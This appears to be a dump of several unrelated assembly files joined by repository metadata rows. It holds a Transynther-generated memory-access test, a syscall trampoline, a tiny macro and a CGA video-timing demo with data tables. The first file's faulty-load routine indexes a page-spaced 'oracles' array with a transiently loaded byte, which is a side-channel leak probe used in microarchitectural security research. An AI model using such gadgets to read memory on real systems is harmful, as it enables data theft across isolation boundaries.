58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 32.035857 | 2,999 | 0.654396 |
ae2403b8924d2f149c43904b3ff43577b064348e | 8,245 | asm | Assembly | Transynther/x86/_processed/US/_st_un_/i7-7700_9_0x48.log_21829_1431.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_st_un_/i7-7700_9_0x48.log_21829_1431.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_st_un_/i7-7700_9_0x48.log_21829_1431.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1defe, %r13
nop
sub %r9, %r9
mov (%r13), %edi
nop
nop
nop
nop
sub $18011, %r13
lea addresses_normal_ht+0x477e, %rdi
dec %rcx
mov (%rdi), %rax
nop
nop
and $48689, %r13
lea addresses_WT_ht+0x116ae, %r15
xor $16031, %rsi
movl $0x61626364, (%r15)
nop
nop
dec %rsi
lea addresses_WT_ht+0x9961, %rsi
lea addresses_WT_ht+0x10afe, %rdi
nop
nop
and %rdx, %rdx
mov $39, %rcx
rep movsb
nop
nop
dec %rax
lea addresses_A_ht+0x1e6fe, %rdi
nop
nop
nop
nop
nop
add %rsi, %rsi
movb $0x61, (%rdi)
nop
xor $5687, %rcx
lea addresses_normal_ht+0x1148e, %r15
nop
nop
xor $45861, %rsi
mov $0x6162636465666768, %r13
movq %r13, (%r15)
nop
nop
nop
nop
nop
xor %r15, %r15
lea addresses_WT_ht+0xb5de, %r15
nop
nop
nop
nop
xor %rdi, %rdi
vmovups (%r15), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rdx
xor %rcx, %rcx
lea addresses_D_ht+0x5088, %rcx
nop
nop
nop
nop
add %rdi, %rdi
mov $0x6162636465666768, %r13
movq %r13, %xmm5
vmovups %ymm5, (%rcx)
nop
nop
nop
nop
add %r15, %r15
lea addresses_WT_ht+0xeecf, %rdi
nop
nop
nop
cmp $56104, %rax
movb (%rdi), %dl
nop
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0xb6fe, %rax
clflush (%rax)
nop
nop
nop
nop
xor $42771, %r15
movb (%rax), %dl
nop
nop
nop
cmp $14066, %r9
lea addresses_A_ht+0xf1de, %r13
nop
nop
nop
nop
cmp %rdx, %rdx
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%r13)
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WC_ht+0x128fe, %rcx
add $28004, %rsi
mov $0x6162636465666768, %rax
movq %rax, %xmm5
vmovups %ymm5, (%rcx)
nop
nop
nop
dec %rcx
lea addresses_WT_ht+0x1bcfe, %rsi
lea addresses_WC_ht+0x1c0fe, %rdi
nop
nop
nop
nop
nop
and $6604, %rax
mov $123, %rcx
rep movsb
nop
nop
nop
sub $24839, %r13
lea addresses_UC_ht+0x1bcf4, %rsi
xor %r9, %r9
movups (%rsi), %xmm4
vpextrq $1, %xmm4, %r13
nop
nop
nop
dec %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r9
push %rax
push %rbx
push %rcx
push %rdx
// Store
lea addresses_A+0xfefe, %rdx
nop
nop
nop
nop
nop
and $22064, %r11
mov $0x5152535455565758, %r9
movq %r9, (%rdx)
nop
and %rax, %rax
// Load
lea addresses_PSE+0xe6fe, %rdx
nop
nop
nop
sub $43467, %r12
vmovups (%rdx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rbx
nop
nop
nop
and %r9, %r9
// Load
lea addresses_D+0xdbee, %r9
and $27415, %rcx
mov (%r9), %r12d
sub $6922, %rax
// Faulty Load
lea addresses_US+0x19efe, %rax
nop
nop
nop
nop
nop
add %r12, %r12
mov (%rax), %rdx
lea oracles, %rcx
and $0xff, %rdx
shlq $12, %rdx
mov (%rcx,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'58': 21828, '5f': 1}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 31.833977 | 2,999 | 0.653002 |
3d3eac352a8df3fff0aaf091dc90bb18a60f7a72 | 271 | asm | Assembly | Userland/SampleCodeModule/asm/syscallTrigger.asm | mlombardia/arqui_tpe | eff3005e48899c37c5e1f1ea914d2e7b355fb42f | [
"BSD-3-Clause"
] | 1 | 2019-11-11T15:07:03.000Z | 2019-11-11T15:07:03.000Z | Userland/SampleCodeModule/asm/syscallTrigger.asm | mlombardia/arqui_tpe | eff3005e48899c37c5e1f1ea914d2e7b355fb42f | [
"BSD-3-Clause"
] | null | null | null | Userland/SampleCodeModule/asm/syscallTrigger.asm | mlombardia/arqui_tpe | eff3005e48899c37c5e1f1ea914d2e7b355fb42f | [
"BSD-3-Clause"
] | 1 | 2019-11-12T16:51:27.000Z | 2019-11-12T16:51:27.000Z | GLOBAL _triggerSyscall
section .text
_triggerSyscall:
; int64_t _triggerSyscall(uint64_t rax, uint64_t rdi, uint64_t rsi, uint64_t rdx)
push rbp
mov rbp, rsp
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
int 80h
leave
ret | 15.941176 | 85 | 0.660517 |
50f34b05434d67ddbb931d76d1220180b24b8b5c | 21 | asm | Assembly | projects/Links_Awakening_gb.windfish/configuration/macros/incAddr.asm | jverkoey/awaken | 743755248996deb7181ae92f6e60be5656439c44 | [
"Apache-2.0"
] | 68 | 2020-12-16T10:06:48.000Z | 2022-03-29T19:54:01.000Z | projects/Links_Awakening_gb.windfish/configuration/macros/incAddr.asm | jverkoey/awaken | 743755248996deb7181ae92f6e60be5656439c44 | [
"Apache-2.0"
] | 62 | 2020-12-19T04:28:41.000Z | 2021-02-15T22:18:16.000Z | projects/Links_Awakening_gb.windfish/configuration/macros/incAddr.asm | jverkoey/awaken | 743755248996deb7181ae92f6e60be5656439c44 | [
"Apache-2.0"
] | 4 | 2021-01-17T03:51:22.000Z | 2021-01-21T16:26:53.000Z | ld hl, #1
inc [hl] | 10.5 | 11 | 0.47619 |
77d44f58d7ec0c95c4ce774503d4a60e71ea51e7 | 68,888 | asm | Assembly | 8088/cga/scanline_per_frame/1spf.asm | reenigne/reenigne | c3eb8b31d7964e78bbe44908987d4be052a74488 | [
"Unlicense"
] | 92 | 2015-04-10T17:45:11.000Z | 2022-03-30T17:58:51.000Z | 8088/cga/scanline_per_frame/1spf.asm | reenigne/reenigne | c3eb8b31d7964e78bbe44908987d4be052a74488 | [
"Unlicense"
] | 2 | 2017-11-05T07:21:35.000Z | 2018-11-04T23:36:13.000Z | 8088/cga/scanline_per_frame/1spf.asm | reenigne/reenigne | c3eb8b31d7964e78bbe44908987d4be052a74488 | [
"Unlicense"
] | 18 | 2015-04-11T20:32:44.000Z | 2021-11-06T05:19:57.000Z | %include "../../defaults_bin.asm"
; Copy data
mov ax,cs
mov ds,ax
mov ax,0xb800
mov es,ax
mov cx,8000
mov si,data
xor di,di
cld
rep movsw
restart:
sti
int 0x60
cli
lockstep
; Mode 09
; 1 +HRES 1
; 2 +GRPH 0
; 4 +BW 0
; 8 +VIDEO ENABLE 8
; 0x10 +1BPP 0
; 0x20 +ENABLE BLINK 0
mov dx,0x3d8
mov al,0x09
out dx,al
; Palette 00
; 1 +OVERSCAN B 0
; 2 +OVERSCAN G 2
; 4 +OVERSCAN R 4
; 8 +OVERSCAN I 0
; 0x10 +BACKGROUND I 0
; 0x20 +COLOR SEL 0
inc dx
mov al,0
out dx,al
mov dl,0xd4
; 0xff Horizontal Total 71
mov ax,0x5000
out dx,ax
; 0xff Horizontal Displayed 50
mov ax,0x5001
out dx,ax
; 0xff Horizontal Sync Position 5a
mov ax,0x5a02
out dx,ax
; 0x0f Horizontal Sync Width 0d
mov ax,0x0003
out dx,ax
; 0x7f Vertical Total 3d
mov ax,0x0104
out dx,ax
; 0x1f Vertical Total Adjust 00
mov ax,0x0005
out dx,ax
; 0x7f Vertical Displayed 02
mov ax,0x0106
out dx,ax
; 0x7f Vertical Sync Position 18
mov ax,0x1907
out dx,ax
; 0x03 Interlace Mode 02 0 = non interlaced, 1 = interlace sync, 3 = interlace sync and video
mov ax,0x0008 ; 0x0308
out dx,ax
; 0x1f Max Scan Line Address 00
mov ax,0x0009
out dx,ax
; Cursor Start 06
; 0x1f Cursor Start 6
; 0x60 Cursor Mode 0
mov ax,0x060a
out dx,ax
; 0x1f Cursor End 07
mov ax,0x080b
out dx,ax
; 0x3f Start Address (H) 00
mov ax,0x000c
out dx,ax
; 0xff Start Address (L) 00
mov ax,0x000d
out dx,ax
; 0x3f Cursor (H) 03
mov ax,0x030e
out dx,ax
; 0xff Cursor (L) c0
mov ax,0xc00f
out dx,ax
mov dl,0xda
mov al,TIMER1 | LSB | MODE2 | BINARY
out 0x43,al
mov al,19
out 0x41,al ; Timer 1 rate
xor bx,bx
mov cx,65535
mov dl,0xd4
mov di,0x5a02
mov bp,0x0902
mov bx,[cs:initial2]
add bx,timeSlide
call bx
loopTop1:
mov ax,0x2000 ;a
out dx,ax
inc ax
; mov ax,0x2001 ;b
out dx,ax
xchg ax,di
; mov ax,0x5a02 ;c
out dx,ax
xchg ax,di
lodsb
out 0xe0,al
mov ax,0x5001 ;d
out dx,ax
dec ax
; mov ax,0x5000 ;e
out dx,ax
xchg ax,bp
; mov ax,0x0902 ;f
out dx,ax
xchg ax,bp
mov ah,bh
mov al,0x0c
out dx,ax
mov ah,bl
inc ax
out dx,ax
mov al,bl
mov dl,0xd9
out dx,al
mov dl,0xd4
inc bx
; inc bx
; mov ax,0x5a02 ; horizontal sync position = 90
; out dx,ax ; Second write must occur between char 0 and char 9
; mov ax,0x5000 ; horizontal total = 81
; out dx,ax ; Second write must occur between char 0 and char 32
; mov ah,bh
; mov al,0x0c ; Start address high
; out dx,ax ; Second write must occur between char 0 and char 114
; mov ah,bl
; inc ax ; Start address low
; out dx,ax ; Second write must occur between char 0 and char 114
; mov al,bl
; mov dl,0xd9
; out dx,al
; mov dl,0xd4
; times 13 nop
; mov ax,0x0902 ; horizontal sync position = 9
; out dx,ax ; Second write must occur between char 81 and char 90
; mov ax,0x2000 ; horizontal total = 33
; out dx,ax ; Second write must occur between char 81 and char 114
; times 1 nop
loop loopTop1
inc word[cs:initial]
cmp word[cs:initial],1 ;76
je done
jmp restart
done:
sti
int 0x67
timeSlide:
times 76 nop
ret
initial: dw 0
initial2: dw 3
; 1 no
; 2 no
; 3 no
; 4 no
; 5 no
; 6 no
; 7 no
data:
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0f0a, 0x0000, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
dw 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x070a, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0f0a, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000
